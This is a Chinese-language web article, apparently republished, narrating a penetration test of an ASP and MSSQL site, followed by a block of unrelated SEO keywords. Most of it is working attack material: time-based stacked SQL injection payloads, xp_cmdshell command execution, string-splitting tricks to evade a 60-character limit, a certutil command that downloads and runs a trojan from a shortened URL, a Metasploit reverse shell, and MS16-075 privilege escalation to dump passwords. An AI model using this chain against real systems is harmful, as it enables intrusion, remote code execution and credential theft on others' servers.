千家信息网

asp+mssql的注入和命令执行是怎样的

发表于:2024-09-26 作者:千家信息网编辑
千家信息网最后更新 2024年09月26日,asp+mssql的注入和命令执行是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。前言在hw中有遇到一个站点,存在
千家信息网最后更新 2024年09月26日asp+mssql的注入和命令执行是怎样的

asp+mssql的注入和命令执行是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

前言

在hw中有遇到一个站点,存在mssql的注入和命令执行漏洞,在进行利用的时候遇到了一些阻碍。

过程

首先进行信息收集,发现在一个高端口开着一个论坛服务,于是打开站点进行常规的测试,在用户名处,在搜索框处,在输入单引号之后得到报错,这很有可能就是注入点,因为之前没有做过asp+mssql的注入,所以去请教了大佬,站点是get传参,大佬经过测试发现可以通过post传参(应该是使用了asp的Request.Form函数),不能通过bool盲注,但是可以通过堆叠时间盲注进行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --这里可以通过burp的测试器进行测试,把a-z0-9添加到字典中,之后进行枚举,判断返回时间,下面举个例子 枚举到t时得到延时5秒,证明数据库的第一个字符为t 接下来使用burp的测试器 修改要测试的位置 添加字典 修改线程 查看结果 按时间排序 得到数据库的下一位为e,接下来得到数据库名称。 判断用户是否为dba权限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--,但是执行这个代码发现没有延时,无论是<1还是>=1都没有回显,可能是因为手工的方式不太对,所以丢到sqlmap 发现可以注入,之后使用--is-dba 判断是否为dba权限 不是dba权限,继续注入出其他数据库--dbs 发现没有回显,而且sqlmap没有检测出waf,所以就要分析一下payload和后端的问题了,想到这里是搜索框,并且默认是get传参,那么是不是可能限制了字符串长度,于是修改payload为';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --通过调整单引号长度,来测试最大为多大长度时可以延时,经过枚举,发现后端的长度限制为60,那么在注入的时候就只能通过存储过程来注入,这样是非常麻烦的,还有一种办法就是通过mssql的xp_cmdshell函数来执行命令,当然因为前面有对字符串的长度有限制,所以每次执行的命令长度也有限制,';exec master..xp_cmdshell ''--为执行命令的基本长度,为31,所以我们执行命令的长度最大为29,而且还要考虑杀软的问题,因为经过本地测试,如果存在杀软,那么命令是无法执行成功的 哪怕是ping命令甚至是错误的命令都不能执行,所以要对目标是否存在杀软进行测试,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--执行之后等待了4秒,成功得到回显,证明对面目标没有杀软或者杀软不为测试的某卫士 想到可以通过系统的下载命令进行下载,配合上短域名即可实现文件下载,但是经过测试,常规的下载命令,配合短域名之后长度会达到34位 而且还会涉及下载目录问题,还有下载的文件的执行问题。 在之前复现phpstudy命令执行漏洞写shell的时候学习到了在系统下echo 123>1.txtecho 123>>1.txt两种写入方式的区别,通过第二种方式即可实现写入文件,于是进行本地复现 经过写入两次文件,但是命令根本不在一行,这样是无法执行的,这时候想起了之前在ctfhub上面做的命令执行,想到在linux下可以通过拼接来绕过过滤,实现命令执行,那么windows下是不是也可以呢,找到了度娘,可以通过以下方式来进行字符串拼接

@echo off certuti l  %a%%b%

于是把下载的命令进行构造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe经过字符串拼接,现在本地进行测试,

@echo off certuti l  %a%%b% che  %q%%a% it  ht %q%%a% tp://suo %q%%a% .im/5UEW %q%%a% nn  %q%%a% %%temp%% %q%%a% /1.exe %q%%a% %q%pause

发现已经拼接成功,并且可以执行,所以进行构造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--为需要的最基本的长度。为45个字符 而且还需要保证字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--为61个字符,这样已经不能够正常的执行命令,所以要对payload进行缩减,把写入文件的扩展名去掉,在写完文件之后使用copy命令进行重命名 所以payload为';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--,经过构造得到完整的payload

 @echo off>>%temp%/3  certuti>>%temp%/3  l >>%temp%/3  %a%%b%>>%temp%/3  che >>%temp%/3  %q%%a%>>%temp%/3  it  ht>>%temp%/3  %q%%a%>>%temp%/3  tp://suo>>%temp%/3  %q%%a%>>%temp%/3  .im/5UEW>>%temp%/3  %q%%a%>>%temp%/3  nn >>%temp%/3  %q%%a%>>%temp%/3  %%temp%%>>%temp%/3  %q%%a%>>%temp%/3  /1.exe>>%temp%/3  %q%%a%>>%temp%/3 %q%>>%temp%/3copy %temp%\3 %temp%\3.bat%temp%\3.bat%temp%\1.exe

思路就是通过把命令写入文件,之后通过copy命令把无后缀的文件变成bat,进行执行里面的下载命令,远程下载muma到指定目录,之后通过命令执行来运行muma,当然还要先测试目标是否出网和是否是dba,开启了xp_cmdshell

show advanced optionsxp_cmdshellftp x.x.x.x

在服务器执行nc -lvvp 21如果有回显,证明目标可以执行命令并且出网 接下来首先进行本地测试,测试命令是否执行成功,能否成功写入文件, 发现命令已经执行成功,但是没有写入文件,于是修改asp代码,显示sql语句,下面是我本地复现的代码

<%mssql_datahost   mssql_username   mssql_password   connstr  &mssql_username&&mssql_password&&mssql_dataname&Set conn  Server.CreateObject()conn.Open connstrdim keywordRequest.Form()left(keyword,60)StrSql   & keyword & Response.Write(StrSql)Conn.Execute(StrSql)%>

发现是%没有编码,在post传参中被url解码消失了,所以修改payload

%20@echo%20off>>%25temp%25/3%20setcertuti>>%25temp%25/3%20setl%20-urlca>>%25temp%25/3%20set%25a%25%25b%25>>%25temp%25/3%20setche%20-spl>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20setit%20-f%20ht>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20settp://suo>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set.im/5UEW>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20setnn%20>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set%25%25temp%25%25>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set/1.exe>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20%25q%25>>%25temp%25/3copy%20%25temp%25\3%20%25temp%25\3.bat%25temp%25\3.bat%25temp%25\1.exe

执行之后,msf收到shell,查看权限 通过tasklist命令查看是否存在杀软和本地运行的进程 因为本地权限较低,所以需要提权抓取密码

use post/multi/recon/local_exploit_suggester

使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。 之后使用ms16075进行本地提权 获得system权限,抓取密码

总结

因为之前对asp+mssql没有过接触,所以刚一碰到目标的时候很麻爪,包括在进行权限维持和横向的时候,还没来得及做,就已经被发现了,之前使用msf的时候都是在自己的虚拟机里,环境和真实环境有很多差异,而且,msf的反弹使用了reserve_tcp,并且没有使用rc4或者https来加密流量,导致权限只拿下来了2个小时就被防守方发现,并且关闭了网站。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

命令 测试 文件 长度 字符 权限 成功 可以通过 时候 目标 字符串 数据 数据库 方式 问题 限制 接下来 代码 就是 时间 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 招募不同服务器 北京力天无限网络技术有限公司 软件开发摊销时间 成都琥珀网络技术有限公司 小家网络技术 网络技术的领先者 青浦区企业数据库销售价钱 计算机网络技术实习论文 网络安全三条红线八严禁十不准 数据库文件夹和密码怎么设置 武威软件开发哪里好 中国网络安全中心属于什么单位 软件开发周工作安排表 信息网络安全调查报告 服务器硬盘多少尺寸 我的世界服务器里面如何加材质包 互联网消亡的新科技 数据库分区分片 500万人游戏服务器租用多少钱 国家电网网络安全红蓝对抗 数据库索引为什么快 服务器共享打印机怎么用 汽车软件开发工资高的企业 自动生成数据库表关系工具 校园网络安全管理措施有哪些 辽宁灼日网络技术推广有限公司 软件开发的论文在哪可以看 数据库脚本没有怎么办 科学出版社数据库技术及应用 软件开发什么语言最好接单
0